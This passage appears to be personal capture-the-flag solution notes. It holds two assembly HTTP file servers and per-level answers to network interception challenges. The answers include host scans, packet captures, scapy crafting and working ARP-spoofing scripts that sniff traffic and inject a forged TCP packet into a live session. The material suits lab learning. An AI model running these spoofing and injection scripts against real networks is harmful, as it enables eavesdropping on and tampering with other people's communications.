    mov rdx, 0      # socklen
    mov rax, 43     # SYS_accept
    syscall

    mov rbx, rax    # save accepted socket fd

    # Fork
    mov rax, 57     # SYS_fork
    syscall
    cmp rax, 0      # rax is 0 for child
    je child_proc   # jump if child

    # Close accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rax, 3      # SYS_close
    syscall

    jmp parent_proc

child_proc:

    # Close socket
    mov rdi, r15    # socket fd
    mov rax, 3      # SYS_close
    syscall

    sub rsp, 1024   # allocate space on stack
    # Read from accepted socket
    mov rdi, rbx    # accepted socket fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    movzx rax, byte ptr [rsi]
    cmp rax, 0x47
    jne POST

GET:
    mov byte ptr [rsi+20], 0    # Add null terminator after 20 characters (keep only file name)

    # Open file
    lea rdi, [rsi+4]    # +4 to skip the "GET " in the string
    mov rsi, 0          # flags = O_RDONLY
    mov rax, 2          # SYS_open
    syscall

    mov r12, rax    # save file fd

    sub rsp, 1024   # allocate space on stack
    # Read from file
    mov rdi, r12    # opened file fd
    mov rsi, rsp    # buffer pointer in stack
    mov rdx, 1024   # buffer size
    mov rax, 0      # SYS_read
    syscall

    mov r13, rsi    # file content pointer
    mov r14, rax    # file content length in bytes

    # Close file
    mov rdi, r12    # opened file fd
    mov rax, 3      # SYS_close
    syscall

    # Write to accepted socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    # Write to accepted socket file content
    mov rdi, rbx    # accepted socket fd
    mov rsi, r13    # Pointer to string
    mov rdx, r14    # response size
    mov rax, 1      # SYS_write
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall


POST:
    mov r13, rsi # post request buffer
    mov byte ptr [r13+21], 0    # Add null terminator after 21 characters (keep only file name)
    mov byte ptr [r13+179], 0   # Add null terminator to get the post content length

    # Open file
    lea rdi, [r13+5]    # +5 to skip the "POST " in the string
    mov rsi, 00000101   # flags = O_WRONLY|O_CREAT
    mov rdx, 0777
    mov rax, 2          # SYS_open
    syscall

    mov r12, rax    # save opened file fd


    # convert content length in memory from ascii to number. Output in $r15
    movzx rax, byte ptr [r13+178]
    cmp rax, 0x0D
    jne three_digits

two_digits:
    lea rsi, [r13+176]
    movzx rax, byte ptr [rsi]
    sub al, '0'
    imul rax, rax, 10
    mov r15, rax

    movzx rax, byte ptr [rsi+1]
    sub al, '0'
    add r15, rax

    sub rsi, 1
    jmp continue

three_digits:
    lea rsi, [r13+176]
    movzx rax, byte ptr [rsi]
    sub al, '0'
    imul rax, rax, 100
    mov r15, rax

    movzx rax, byte ptr [rsi+1]
    sub al, '0'
    imul rax, rax, 10
    add r15, rax

    movzx rax, byte ptr [rsi+2]
    sub al, '0'
    add r15, rax


continue:
    # Write to file
    mov rdi, r12        # opened file fd
    lea rsi, [rsi+7]  # Pointer to string
    mov rdx, r15        # response size
    mov rax, 1          # SYS_write
    syscall

    # Close file
    mov rdi, r12    # opened file fd
    mov rax, 3      # SYS_close
    syscall

    # Write to accepted socket
    mov rdi, rbx    # accepted socket fd
    lea rsi, [res]  # Pointer to string
    mov rdx, 19     # response size
    mov rax, 1      # SYS_write
    syscall

    mov rdi, 0  # status 0
    mov rax, 60 # SYS_exit
    syscall

.section .data
res:
    .asciz "HTTP/1.0 200 OK\r\n\r\n"
```

```
.intel_syntax noprefix
.globl _start

.section .text

_start:
    # Open socket
    mov rdi, 2
    mov rsi, 1
    mov rdx, 0
    mov rax, 41
    syscall
    # Store socket fd in rbx
    mov rbx, rax

    # Bind socket to address
    mov rdi, rbx
    lea rsi, sa_family_t
    mov rdx, 16
    mov rax, 49
    syscall

    # Listen on socket
    mov rdi, rbx
    mov rsi, 0
    mov rax, 50
    syscall

    accept_jump:
    # Accept a connection
    mov rdi, rbx
    mov rsi, 0
    mov rdx, 0
    mov rax, 43
    syscall
    # Save new fd for bound connection in r12
    mov r12, rax

    # Fork the process and let the child do the serving
    mov rax, 57
    syscall
    cmp rax, 0
    je serve_connection
    # Close the connection if parent
    mov rdi, r12
    mov rax, 3
    syscall
    # Then go back to listening
    jmp accept_jump

    serve_connection:
    # Close listening socket
    mov rdi, rbx
    mov rax, 3
    syscall

    # Read from the connection
    mov rdi, r12
    lea rsi, read_buffer
    mov rdx, [read_packet_length]
    mov rax, 0
    syscall

    # Figure out what file was requested
    lea rdi, read_buffer
    mov rsi, 1
    lea rdx, space
    call get_nth_substr
    mov r13, rax
    lea rdi, read_buffer
    mov rsi, 2
    call get_nth_substr
    mov r14, rax
    sub r14, 1
    # r13 = start (exclusive), r14 = end (inclusive)
    mov rdi, r13
    mov rsi, r14
    lea rdx, file_name_buffer
    call write_to_buf
    # Filename is now stored in file_name_buffer

    # Check request type
    mov dil, [read_buffer]
    # Compare to "G"
    cmp dil, 0x47
    # Continue (GET process) if G, otherwise do POST
    jne POST

    GET:
        # Open that file
        lea rdi, file_name_buffer
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall
        mov r13, rax

        # Read file contents
        mov rdi, r13
        lea rsi, file_read_buffer
        mov rdx, 1024
        mov rax, 0
        syscall

        # Close the file
        mov rdi, r13
        mov rax, 3
        syscall

        # Write status to connection
        mov rdi, r12
        lea rsi, write_static
        mov rdx, 19
        mov rax, 1
        syscall

        # Write file contents to connection
        lea rdi, file_read_buffer
        call get_len
        mov rdx, rax
        sub rdx, 1
        mov rdi, r12
        lea rsi, file_read_buffer
        mov rax, 1
        syscall

        jmp exit

    POST:
        # Open that file
        lea rdi, file_name_buffer
        mov rsi, 0x41 # O_CREAT, O_WRONLY
        mov rdx, 0777
        mov rax, 2
        syscall
        mov r13, rax

        # Get the POST content
        lea rdi, read_buffer
        mov rsi, 1
        lea rdx, double_cr_lf
        call get_nth_substr
        mov rsi, rax
        add rsi, 1

        # Get write length
        mov rdi, rsi
        call get_len
        mov rdx, rax
        # Get rid of the pesky null byte
        sub rdx, 1
        # Write to file
        mov rdi, r13
        mov rax, 1
        syscall

        # Close the file
        mov rdi, r13
        mov rax, 3
        syscall

        # Write status to connection
        mov rdi, r12
        lea rsi, write_static
        mov rdx, 19
        mov rax, 1
        syscall

    exit:
    # Close the connection
    mov rdi, r12
    mov rax, 3
    syscall

    # Sys exit
    mov rdi, 0
    mov rax, 60
    syscall

    # Get the length of a null-terminated string (including the first null byte)
    # Args:
    # rdi - buffer we're checking the length of
    # rax - length
    get_len:
        mov rax, 0
        get_len_loop:
            # See if rdi + rax-th byte is null
            mov r10, rdi
            add r10, rax
            mov r10, [r10]
            add rax, 1
            cmp r10, 0x00
            jne get_len_loop
        ret

    # Copy the bytes spanning rdi to rsi to the buffer rdx
    # rdx MUST BE LONGER THAN rsi - rdi BYTES, rdi MUST BE LESS THAN rsi
    # Args:
    # rdi - start (exclusive) of the string we're copying
    # rsi - end (inclusive) of the string we're copying
    # rdx - buffer we're copying to
    # rax - unchanged
    write_to_buf:
        write_to_buf_loop:
            add rdi, 1
            mov r9, [rdi]
            mov [rdx], r9
            add rdx, 1
            cmp rdi, rsi
            jne write_to_buf_loop
        mov byte ptr [rdx], 0x00
        ret

    # Get address of the (last byte of) the nth occurence of substring in string (occurences must be non-overlapping)
    # ONLY GUARANTEED TO WORK ON NULL-TERMINATED STRINGS
    # Args:
    # rdi - target string address
    # rsi - n
    # rdx - substring

    # rax - address of nth character
    get_nth_substr:
        # Set rcx (ocurrence counter)
        mov rcx, 0
        # Set r10 (to traverse substring)
        mov r10, rdx
        check_character_loop:
            # r9b = character at position
            mov r9b, [rdi]
            # If string's terminated, obviously the substring doesn't occur enough times
            cmp r9b, 0x00
            je not_enough_occurrences
            # Step through substring iff r9b = current byte
            cmp r9b, byte ptr [r10]
            jne character_not_equal
                add r10, 1
                # If we've reached the end of the substring, increment counter and reset r10
                cmp byte ptr [r10], 0x00
                jne after_comparison
                    mov r10, rdx
                    add rcx, 1
                    jmp after_comparison
            character_not_equal:
                # Reset r10 without adding to count
                mov r10, rdx
            after_comparison:
            # Return address if we've got the nth ocurrence
            cmp rcx, rsi
            je match
            # Otherwise increment and continue
            add rdi, 1
            jmp check_character_loop
        match:
        mov rax, rdi
        ret
        not_enough_occurrences:
        mov rax, -1
        ret

.section .data
    # sockaddr_in struct
    sa_family_t: .word 2
    bind_port: .word 0x5000
    bind_address: .double 0x00000000
    pad: .byte 0,0,0,0,0,0,0,0
    # Make empty buffers to read to
    read_buffer: .space 1024
    file_name_buffer: .space 1024
    file_read_buffer: .space 1024
    # Constants
    # Yes it's dumb to use a quad word for this, but it simplifies copying it to the register
    read_packet_length: .quad 0x0000000000000400
    write_static: .string "HTTP/1.0 200 OK\r\n\r\n"
    space: .string " "
    double_cr_lf: .string "\r\n\r\n"
```

Intercepting Communication

Level 1

```
/challenge/run
nc 10.0.0.3 31337
```

Level 2

```
/challenge/run
nc -lvn 31337
```

Level 3

```
/challenge/run
for ip in {0..254}; do echo "10.0.0.$ip"; timeout 0.2 nc -v 10.0.0.$ip 31337; done
```

Level 4

```
/challenge/run
nmap -sP 10.0.0.0/16 | grep report
nc -v ip_found 31337
```

Level 5

```
/challenge/run
tcpdump -i any port 31337 -w capture.pcap
cat capture.pcap
```

Level 6

Open the GUI Desktop Workspace, and run from a terminal session there:

```
/challenge/run
wireshark &
```

Then wait until you get at least 300/400 packeges. After that, from the top bar menu open: `Analyze > Follow > TCP Stream`

On the bottom left, instead of `Entire conversation (106 bytes)` put one of the `53 bytes` alternatives. Then, increase the `Stream` on the bottom right to `1`. Now you can see your flag.

Level 7

```
/challenge/run
ip addr add 10.0.0.2/24 dev eth0
nc -lvn 31337
```

Level 8

```
/challenge/run
scapy -H
conf.iface = 'eth0'; sendp(Ether(type=0xFFFF, src="42"))
```

Level 9

```
/challenge/run
scapy -H
conf.iface = 'eth0'; sendp(Ether(src="42") / IP(dst="10.0.0.3", proto=0xFF))
```

Level 10

```
/challenge/run
scapy -H
conf.iface = 'eth0'; sendp(Ether(src="42") / IP(dst="10.0.0.3") / TCP(sport=31337, dport=31337,
seq=31337, ack=31337, flags='APRSF'))
```

Level 11

```
/challenge/run
python level11.py
```

level11.py

```
conf.iface = 'eth0'
ether = Ether(src="42")
ip = IP(dst="10.0.0.3")
SYN = ether / ip / TCP(sport=31337, dport=31337, flags="S", seq=31337)
SYNACK = srp1(SYN)

ACK = ether / ip / TCP(sport=31337, dport=31337, flags="A", seq=31338, ack=SYNACK[TCP].seq+1)
sendp(ACK)
```

Level 12

use `ip addr show` to find your MAC address

```
/challenge/run
ip addr show
ip addr add 10.0.0.2/24 dev eth0
python level12.py
```

level12.py

```python
from scapy.all import *

conf.iface = 'eth0'
ether = Ether(dst="ff:ff:ff:ff:ff:ff")

arp = ARP(op=2,
          psrc="10.0.0.2",
          hwsrc="a6:9a:f6:09:58:32", # your MAC address
          pdst="10.0.0.3",
          hwdst="ff:ff:ff:ff:ff:ff")

sendp(ether / arp)
```

Level 13

https://scapy.readthedocs.io/en/latest/usage.html

```
/challenge/run
python level13.py
```

level13.py

```python
from scapy.all import *

iface = "eth0"
conf.iface = iface

hwaddr = get_if_hwaddr(iface) # my MAC

sender = "10.0.0.4"
receiver = "10.0.0.2"

def packet_callback(pkt):
    if pkt.haslayer(Raw):
        print(pkt[Raw].load)

while True:
    ether = Ether(src=hwaddr, dst="ff:ff:ff:ff:ff:ff")

    # arp request to get receiver MAC
    who_has = ARP(op="who-has", hwsrc=hwaddr, psrc="10.0.0.3", pdst=sender)
    res = srp1(ether/who_has)

    # "is-at" ARP response to spoof the victim's ARP table
    is_at = ARP(op="is-at", hwsrc=hwaddr, psrc=receiver, hwdst=res[ARP].hwsrc, pdst=sender)
    sendp(ether/is_at)

    # ARP response to the gateway to tell that the receiver is at my mac address
    is_at_gateway = ARP(op="is-at", hwsrc=hwaddr, psrc=sender, hwdst=res[ARP].hwsrc,
pdst=receiver)
    sendp(ether/is_at_gateway)

    sniff(prn=packet_callback, store=0, timeout=1)
```

Level 14

```
/challenge/run
python level14.py
```

level14.py

```python
from scapy.all import *

iface = "eth0"
conf.iface = iface

hwaddr = get_if_hwaddr(iface)  # Your MAC address

sender = "10.0.0.4"
receiver = "10.0.0.3"

trigger_data = b'COMMANDS:\nECHO\nFLAG\nCOMMAND:\n'

def packet_callback(pkt):
    if pkt.haslayer(Raw):
        raw_data = pkt[Raw].load
        print(f"\n\nSniffed data: {raw_data}")
        pkt.show()
        print("\n\n")

        if raw_data == trigger_data:
            # copying ECHO packet, with raw data set to FLAG instead
            src_mac = pkt[Ether].dst
            dst_mac = pkt[Ether].src
            src_ip = pkt[IP].dst
            dst_ip = pkt[IP].src
            sport = pkt[TCP].dport
            dport = pkt[TCP].sport

            ip_packet = IP(src=src_ip, dst=dst_ip, flags="DF")
            tcp_packet = TCP(sport=sport, dport=dport, flags="PA", seq=pkt[TCP].ack, ack=pkt[TCP].seq + 29)
            data_packet = Ether(src=hwaddr, dst=dst_mac) / ip_packet / tcp_packet / Raw(load="FLAG\n")

            sendp(data_packet)

while True:
    ether = Ether(src=hwaddr, dst="ff:ff:ff:ff:ff:ff")

    # ARP request to get receiver MAC address
    who_has = ARP(op="who-has", hwsrc=hwaddr, psrc="10.0.0.3", pdst=sender)
    res = srp1(ether/who_has)

    # "is-at" ARP response to spoof the victim's ARP table
    is_at = ARP(op="is-at", hwsrc=hwaddr, psrc=receiver, hwdst=res[ARP].hwsrc, pdst=sender)
    sendp(ether/is_at)

    # ARP response to the gateway to tell it that the receiver is at my MAC address
    is_at_gateway = ARP(op="is-at", hwsrc=hwaddr, psrc=sender, hwdst=res[ARP].hwsrc, pdst=receiver)
    sendp(ether/is_at_gateway)

    # Sniff traffic to capture packets and pass them to the callback function
    sniff(prn=packet_callback, store=0)
```

`tcpdump -D` to list all available network interfaces
`tcpdump -i interface_id` to configure tcpdump to capture transmissions from a particular network interface

`tcpdump host 192.168.2.1` to capture packets related to a specific host
`tcpdump port 80` to capture packets related to a specific port

`tcpdump -A` f you wish to view the ASCII form of the data

`sudo tcpdump -w capture.pcap` Type in this command to store your tcpdump command's output into a file

`sudo tcpdump -r capture.pcap` To read a **.pcap** file, you can use tcpdump with the **-r** parameter